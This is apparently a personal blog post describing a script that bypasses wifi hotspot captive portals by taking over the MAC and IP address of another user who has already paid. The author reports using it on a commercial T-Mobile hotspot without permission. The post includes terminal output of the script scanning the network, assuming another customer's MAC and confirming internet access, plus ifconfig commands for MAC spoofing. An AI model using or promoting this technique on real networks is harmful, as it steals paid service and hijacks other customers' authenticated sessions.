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Bypass a wifi captive portal

Too many hotspot ISPs rely on unencrypted traffic and track authorized users by mac address and/or ip address. Let's abuse this.

The simple way to abuse this is to set your ethernet and ip addresses to one that you know has already been authorized by the captive portal system. Poof. Internet access.

How do we find one? Certainly it's simple to sniff traffic and find anyone able to access the outside network, but it's a manual process. To automate it, I wrote a simple script to do the discovery and testing automatically.

I figured a tmobile hotspot was the perfect place to try this. I change my mac address and flush my browser cookies, and now I look like a new, potential customer to the captive portal. After I verify I cannot get outside of the local network, I ran my new little script. It worked by finding another person on the wireless network who was authorized to go online and then set my ethernet and ip addresses accordingly. Yay internet.

This particular script will only work in FreeBSD, but can easily be fixed to work in Linux or another OS.

This is the output from running it on the network at my house.

nightfall(~) 1 % sudo ./ -i ath0
DHCPREQUEST on ath0 to port 67
DHCPREQUEST on ath0 to port 67
bound to -- renewal in 43200 seconds.
Restore your old mac address with:
ifconfig ath0 down; ifconfig ath0 ether 00:de:ad:be:ef:01; ifconfig ath0 up

Looking for active nodes on the network
Trying 00:0c:29:94:3e:0b
Waiting for associate
Waiting for associate
route: writing to routing socket: No such process
delete net default: not in table
add net default: gateway
pinging google
PING ( 56 data bytes
64 bytes from icmp_seq=0 ttl=237 time=109.113 ms
64 bytes from icmp_seq=1 ttl=237 time=108.448 ms
64 bytes from icmp_seq=2 ttl=237 time=107.633 ms
64 bytes from icmp_seq=3 ttl=237 time=107.454 ms
64 bytes from icmp_seq=4 ttl=237 time=107.394 ms

--- ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max/stddev = 107.394/108.008/109.113/0.669 ms
Found something that can reach the internet
Mac: 00:0c:29:94:3e:0b
Exiting... You can now get online.